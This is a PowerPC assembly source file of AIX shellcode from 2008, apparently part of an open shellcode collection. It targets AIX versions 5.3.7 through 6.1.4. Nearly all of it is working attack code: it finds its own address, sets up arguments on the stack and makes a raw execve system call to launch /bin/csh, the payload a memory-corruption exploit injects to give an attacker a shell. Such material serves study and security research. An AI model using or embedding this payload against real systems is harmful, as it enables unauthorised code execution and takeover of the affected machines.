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/*
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 *  aix-power-shellcode.S
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 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
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 *
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 *  This library is free software; you can redistribute it and/or
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 *  modify it under the terms of the GNU Lesser General Public
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 *  License as published by the Free Software Foundation; either
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 *  version 2.1 of the License, or (at your option) any later version.
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 *
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 *  This library is distributed in the hope that it will be useful,
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 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
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 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
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 *  Lesser General Public License for more details.
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 *
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 *  You should have received a copy of the GNU Lesser General Public
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 *  License along with this library; if not, write to the Free Software
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 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
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 *
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 */
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/*
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 * Supported AIX versions:
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 *
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 * -DAIX614     AIX Version 6.1.4
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 * -DAIX613     AIX Version 6.1.3
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 * -DAIX612     AIX Version 6.1.2
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 * -DAIX611     AIX Version 6.1.1
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 * -DAIX5310    AIX Version 5.3.10
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 * -DAIX539     AIX Version 5.3.9
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 * -DAIX538     AIX Version 5.3.8
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 * -DAIX537     AIX Version 5.3.7
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 *
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 */
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#include "aix-power.h"
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    .globl .main
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    .csect .text[PR]
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.main:
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shellcode:
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    lil     %r29,__CAL
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    xor.    %r5,%r5,%r5
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    bnel    shellcode
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    mflr    %r30
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    cal     %r30,511(%r30)
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    cal     %r3,-511+40(%r30)
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    stb     %r5,-511+48(%r30)
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    stu     %r5,-4(%r1)
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    stu     %r3,-4(%r1)
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    mr      %r4,%r1
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    cal     %r2,__NC_execve(%r29)
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    crorc   %cr6,%cr6,%cr6
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    .long   0x44ffff02
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    .asciz  "/bin/csh"
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